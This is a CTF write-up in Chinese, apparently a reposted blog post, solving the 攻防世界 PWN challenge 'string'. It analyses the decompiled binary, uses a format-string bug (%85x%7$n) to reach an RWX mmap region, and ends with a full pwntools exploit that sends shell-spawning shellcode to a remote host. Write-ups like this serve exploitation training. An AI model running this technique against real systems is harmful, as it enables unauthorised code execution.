攻防世界PWN題 string


題目地址

checksec 檢查

結果如下

    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

逆向重要的函數

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  _DWORD *v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996(60LL, 0LL);
  v3 = malloc(8uLL);
  v4 = v3;
  *v3 = 68;
  v3[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}

可以看到,main 函數做了如下工作:

  • 調用了 alarm 函數,並設置了計時為 60s ,也就是說程序會在 60s 后退出,在 repl 中做實驗時要注意這一點
  • 調用 sub_400996 ,這個函數主要用於輸出,比如那條龍就是它的結果
  • 分配了 8 個字節的空間,對低 4 位賦值為 68 ,高四位賦值為 85
  • 將分配的空間的低四位的地址和高四位的地址分別輸出
  • 用分配出來的空間的起始地址做參數調用了 sub_400D72

在這些工作中,對解題有幫助的是輸出的兩個地址以及分配的空間中的兩個值,請讀者記住

sub_400D72

unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", &s);
  if ( strlen(&s) <= 0xC )
  {
    puts("Creating a new player.");
    sub_400A7D("Creating a new player.");
    sub_400BB9();
    sub_400CA6(a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

完成的工作如下:

  • 獲取輸入
  • 如果輸入的長度大於 12 則回到 main 函數並退出
  • 否則繼續按順序調用三個函數,其中第三個函數使用了 main 中得到的地址

sub_400A7D

unsigned __int64 sub_400A7D()
{
  char s1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
	......
  while ( 1 )
  {
    _isoc99_scanf("%s", &s1);
    if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
      break;
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  if ( strcmp(&s1, "east") )
  {
    if ( !strcmp(&s1, "up") )
      sub_4009DD(&s1, "up");
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}

完成的工作如下:

  • 一直獲取輸入,直到輸入為 east 為止才能進行下一個流程

sub_400BB9

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  ......
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

完成的工作如下:

  • 獲取輸入,如果輸入的值不是 1 ,那么直接進行下一個流程
  • 如果輸入的值是 1,那么存在格式化字符串漏洞,目前還看不出它的意義

sub_400CA6

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  ......
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

完成的功能如下:

  • 比較 main 中分配的空間中低四位和高四位的值,如果不相等那么一直 return 至游戲結束
  • 如果相等,那么調用 mmap 分配一塊 1000h 大小的空間,其中第三個參數告訴我們,這塊空間具有可讀可寫可執行的權限
  • 獲取輸入並存儲到這片空間中
  • 強轉為函數指針並調用之

分析並得到 exp

既然我們通過 mmap 獲得了一塊可執行的空間,那么可以在這里寫入 shellcode 來獲取 shell ;但是要讓程序的執行流程到達這里,我們需要讓 main 中分配的那 8 個字節的空間中,低 4 位和高 4 位的值相等;

在 main 函數中,我們獲得了它們的地址,而在 sub_400BB9 函數中存在着格式化字符串漏洞,有了這兩個條件我們就可以修改其中一個值來使它們相等

在前面的 cheksec 檢查中,我們發現這是一個 64 位的程序,而根據調用規約,前 6 個參數是放在寄存器中的,那么我們如何構造 payload 呢?

回到 sub_400BB9 中,我們可以發現,在獲取 format 的輸入前,還獲取了一次輸入並保存到了 v2 中,這個 v2 在 rsp+8h 的位置,如果我們把 printf 的原型記作 printf(format, args...) ,那么這個 v2 恰恰就是 args 中的第 7 個參數,所以我們可以用 '%7$n' 的方式來訪問並修改 main 中分配的空間中的值

修改至相等后,程序會執行到巫師給予幫助的部分,我們只要在這里寫入 shellcode 即可拿到 shell

所以,最后的 exp 如下:

from pwn import *

p = remote(遠程ip, 遠程端口)

p.recvuntil('secret[0] is ')

# 獲取第四位的地址,用切片切掉最后的\n,開始的空格在上面的 recvuntil 中
# 獲得的數字直接用 int(x, 16) 即可轉成十進制整型儲存在 addr 中
addr = int(p.recvuntil('\n')[:-1], 16)

p.recvuntil('name be:\n')
p.sendline('Yuren')
p.recvuntil('up?:\n')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')
p.recv()
p.sendline(str(addr))
p.recv()
p.sendline('%85x%7$n')
rec = p.recvuntil('SPELL\n')

context(os='linux', arch='amd64')

p.sendline(asm(shellcraft.sh()))
p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM